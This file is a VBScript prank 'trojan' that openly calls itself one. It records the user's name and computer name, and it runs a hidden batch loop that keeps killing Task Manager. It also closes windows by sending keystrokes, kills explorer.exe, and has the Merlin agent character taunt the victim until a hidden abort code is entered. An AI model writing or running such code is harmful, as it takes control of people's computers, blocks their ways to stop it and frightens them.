'v2.0
set p = wscript.arguments
set x = createobject("wscript.shell")
set shell = createobject("wscript.shell")
dir = "C:\ROMS6"
strun = x.expandenvironmentstrings("%username%")
strcd = createobject("scripting.filesystemobject").getabsolutepathname(".")
strappdata = x.expandenvironmentstrings("%appdata%")
strpath = (strappdata)&"\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.vbs"
strcn = x.expandenvironmentstrings("%computername%")
set fso = createobject("scripting.filesystemobject")
x.run "%comspec% /c @del C:\ROMS6 /q", vbhide
x.run "attrib -r C:\ROMS6", vbhide
x.run "%comspec% /c mkdir C:\ROMS6", vbhide
x.run "%comspec% /c cd C:\ROMS6& nslookup localhost>d_gateway.txt"
set objfile = fso.createtextfile("C:\ROMS6\info.txt")
objfile.writeline ""&(strcd)
objfile.writeline ""&(strun)
objfile.writeline ""&(strcn)
objfile.close
x.run "%comspec% /c del C:\ROMS6\helper9.bat /q ", vbhide
set objfile = fso.createtextfile("C:\ROMS6\helper9.bat")
x.run "%comspec% /c attrib -r C:\ROMS6\helper9.bat", vbhide
objfile.writeline "@echo off"
objfile.writeline "title "
objfile.writeline ":tk"
objfile.writeline "taskkill /f /im taskmgr.exe"
objfile.writeline "goto tk"
wscript.sleep "50"
b = 0
do while b < 21
x.sendkeys "%+{f4}"
wscript.sleep "200"
c = (b) + 1
b = (c)
loop
wscript.sleep "1000"
x.run "notepad.exe"
x.run "taskmgr"
wscript.sleep "200"
x.sendkeys "u"
wscript.sleep "50"
x.sendkeys "{enter}"
wscript.sleep "200"
x.run "taskkill /f /im taskmgr.exe", vbhide
x.sendkeys "BOO!"
x.sendkeys "{enter}"
wscript.sleep "900"
x.sendkeys "im "
wscript.sleep "400"
x.sendkeys "gonna "
wscript.sleep "400"
x.sendkeys "hack "
wscript.sleep "400"
x.sendkeys "u"
wscript.sleep "3000"
x.sendkeys "%F"
wscript.sleep "1000"
x.sendkeys "x"
wscript.sleep "1000"
x.sendkeys "{tab}"
wscript.sleep "1000"
x.sendkeys "{enter}"
X.run "%comspec% /c start /min c:\ROMS6\helper9.bat"
agentname = "MERLIN"
agentpath = "c:\windows\msagent\chars\"& (agentname) & ".Acs"
Set objagent = CreateObject("Agent.Control.2")
objagent.Connected = TRUE
objagent.Characters.Load (agentname), (agentpath)
Set objPeter = objAgent.Characters.Character(agentname)
ObjPeter.MoveTo 700,300
ObjPeter.Show
ObjPeter.Play "Read"
ObjPeter.Speak("intresting data, "& (strun))
wscript.sleep "1000"
objpeter.speak("im a trojan by the way")
objpeter.speak("i know your info...")
objpeter.speak("your PC ip is "&(strcn))
wscript.sleep "12000"
objpeter.speak("your default gateway is:")
wscript.sleep "1000"
x.run "%comspec% /c nslookup localhost&pause"
x.run "%comspec% /c start /min C:\ROMS6\helper9.bat"
ObjPeter.Play "GetAttention"
wscript.sleep "1700"
x.run "taskkill /f /im explorer.exe", vbhide
objpeter.speak("now you are vonerible aren't you...")
wscript.sleep "1000"
objpeter.speak("...but that's no fun is it?")
wscript.sleep "1000"
objpeter.play "getattention"
wscript.sleep "6000"
x.run "explorer.exe"
objpeter.moveto 50,100
wscript.sleep "4000"
x.sendkeys "{up}"
x.sendkeys "{down}"
x.sendkeys "{enter}"
objpeter.show
objpeter.speak("why do you have this?")
wscript.sleep "4000"
objpeter.speak("let me scan it for viruses")
wscript.sleep "200"
objpeter.play "search"
wscript.sleep "4000"
objpeter.speak("1 virus found, o ya it's me")
wscript.sleep "200"
objpeter.speak("answer my question")
wscript.sleep "7000"
msgbox "****",20
OBJPETER.speak("that was pathetic")
wscript.sleep "1000"
x.sendkeys "%+{f4}"
wscript.sleep "1000"
objpeter.hide
wscript.sleep "5000"
x.run "%comspec% /c start /min C:\ROMS6\helper9.bat"
x.run "taskkill /f /im explorer.exe", vbhide
objpeter.show
objpeter.speak("BOO")
objpeter.play "Process"
objpeter.speak("just cooked some system files")
wscript.sleep "500"
objpeter.speak("yummmmmm")
wscript.sleep "9000"
pwd = F
do while pwd = F
msg = inputbox("enter a comment for merlin")
objpeter.speak("to bad, must suck for you")
wscript.sleep "400"
if msg = ("0160_abort") then
pwd = T
objpeter.speak("sorry, "& (strun))
wscript.sleep "400"
objpeter.hide
x.run "taskkill /f /im cmd.exe", vbhide
x.run "explorer.exe"
set objfile = fso.createtextfile("C:\ROMS6\kill.bat")
objfile.writeline "@echo off"
objfile.writeline "taskkill /f /im wscript.exe"
objfile.writeline "taskkill /f /im cmd.exe"
objfile.close
x.run "C:\ROMS6\kill.bat"
wscript.quit
pwd = T
end if
loop
do while objmerlin.vissible = TRUE
wscript.sleep "200"
loop
wscript.quit